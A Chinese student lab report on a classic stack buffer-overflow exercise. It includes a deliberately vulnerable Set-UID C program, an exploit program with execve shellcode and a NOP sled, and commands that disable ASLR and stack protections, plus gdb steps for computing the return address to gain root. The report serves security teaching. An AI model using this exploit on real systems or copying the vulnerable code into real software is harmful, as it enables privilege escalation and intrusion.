20181213戴宜钢——缓冲区溢出漏洞实验10.11

一、实验内容

在Ubuntu环境下，利用缓冲区溢出漏洞对用户程序进行攻击，从而在其中执行shellcode 达到获取root 权限的目的。

实验中，需要编写两个.c文件，stack.c是具有缓冲区溢出漏洞的用户程序，它会从文件中读取数据，并拷贝至自己的缓冲区。exploit.c则是需要攻击者精心设计的攻击程序，它会利用用户程序的漏洞产生badfile 文件，从而使用户程序读取badfile 时，被攻击者控制，进而获得root权限。

 

二、实验内容简介

1. 缓冲区溢出：是指程序试图向缓冲区写入超出预分配固定长度数据的情况。

2. 缓冲区溢出攻击：通过往程序的缓冲区写超出其长度的内容，造成缓冲区的溢出，从而破坏程序的堆栈，造成程序崩溃或使程序转而执行其它指令，以达到攻击的目的。这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。

3.防止缓冲区溢出攻击的几种常用保护机制：地址空间随机化、禁止栈执行、栈保护canary、FORTIFY等。

 

三、实验准备

实验楼提供的是 64 位 Ubuntu linux，而本次实验为了方便观察汇编语句，我们需要在 32 位环境下作操作，因此实验之前需要做一些准备。

输入命令安装一些用于编译 32 位 C 程序的软件包：    

sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y python3.6-gdbm gdb

 

四、实验过程

　1、Ubuntu 和其他一些 Linux 系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中，我们使用以下命令关闭这一功能：

　　sudo sysctl -w kernel.randomize_va_space=0

（示例）

 

　　2、此外，为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使能欺骗一个 Set-UID 程序调用一个 shell，也不能在这个 shell 中保持 root 权限，这个防护措施在 /bin/bash 中实现。

　　linux 系统中，/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形，使用另一个 shell 程序（zsh）代替 /bin/bash。下面的指令描述了如何设置 zsh 程序：

　　sudo su

　　cd /bin

　　rm sh

　　ln -s zsh sh

　　exit

 

　　3、输入命令 linux32 进入32位linux环境。输入 /bin/bash 使用bash：

 

　　4、在 /tmp 目录下新建一个 stack.c 文件：

　　cd /tmp

　　vim stack.c

　　输入如下代码：

　　#include <stdlib.h>

　　#include <stdio.h>

　　#include <string.h>

　　int bof(char *str)

　　{

　　　　char buffer[12];

　　　　strcpy(buffer, str);

　　　　return 1;

　　}

　　int main(int argc, char **argv)

　　{

　　　　char str[517];

　　　　FILE *badfile;

　　　　badfile = fopen("badfile", "r");

　　　　fread(str, sizeof(char), 517, badfile);

　　　　bof(str);

　　　　printf("Returned Properly\n");

　　　　return 1;

　　}

　　编译该程序，并设置 SET-UID。命令如下：

　　sudo su

　　gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c

　　chmod u+s stack

　　exit

 

　　5、在 /tmp 目录下新建一个 exploit.c 文件，输入如下内容：

　　#include <stdlib.h>

　　#include <stdio.h>

　　#include <string.h>

　　char shellcode[] = "\x31\xc0"

　　　　　　　　　　"\x50"

　　　　　　　　　　"\x68""//sh"

　　　　　　　　　　"\x68""/bin"

　　　　　　　　　　"\x89\xe3"

　　　　　　　　　　"\x50"

　　　　　　　　　　"\x53"

　　　　　　　　　　"\x89\xe1"

　　　　　　　　　　"\x99" //cdq

　　　　　　　　　　"\xb0\x0b"

　　　　　　　　　　"\xcd\x80"

　　　　　　　　　　；

　　void main(int argc, char **argv)

　　{

　　　　char buffer[517];

　　　　FILE *badfile;

　　　　memset(&buffer, 0x90, 517);

　　　　strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");

　　　　strcpy(buffer + 100, shellcode);

　　　　badfile = fopen("./badfile", "w");

　　　　fwrite(buffer, 517, 1, badfile);

　　　　fclose(badfile);

　　}

　　

　　注意上面的代码，\x??\x??\x??\x?? 处需要添上 shellcode 保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode 保存在 buffer + 100 的位置。下面将详细介绍如何获得我们需要添加的地址。

　　现在要得到 shellcode 在内存中的地址，输入命令进入 gdb 调试：

　　gdb stack

　　disass main

　　结果如图：

 

 　　esp 中就是 str 的起始地址，所以我们在地址 0x080484ee 处设置断点。（地址可能不一致，请根据显示结果自行修改。）

　　接下来的操作：

　　# 设置断点

　　b *0x080484ee

　　r

　　i r $esp

（示例）

 

 

 　　最后获得的这个 0xffffcfb0 就是 str 的地址。

　　根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffffcfb0 + 0x64 = 0xffffd014

　　现在修改 exploit.c 文件，将 \x??\x??\x??\x?? 修改为计算的结果 \x14\xd0\xff\xff，注意顺序是反的。

　　然后，编译 exploit.c 程序：

　　gcc -m32 -o exploit exploit.c

 

　　6、先运行攻击程序 exploit，再运行漏洞程序 stack，观察结果：

 

 　　可见，通过攻击，获得了root 权限！缓冲区溢出攻击成功。

 

五、实验总结

通过本次实验，使我更加清楚了缓冲区溢出的原理以及堆栈在缓冲区溢出攻击中的重要性。一旦返回地址被覆盖为一段有攻击行为的恶意代码的地址，那么其造成的攻击后果不堪设想。通过后面的两个练习，又让我学习了两种防止缓冲区溢出的保护机制。这对我今后的继续学习将有很大的帮助。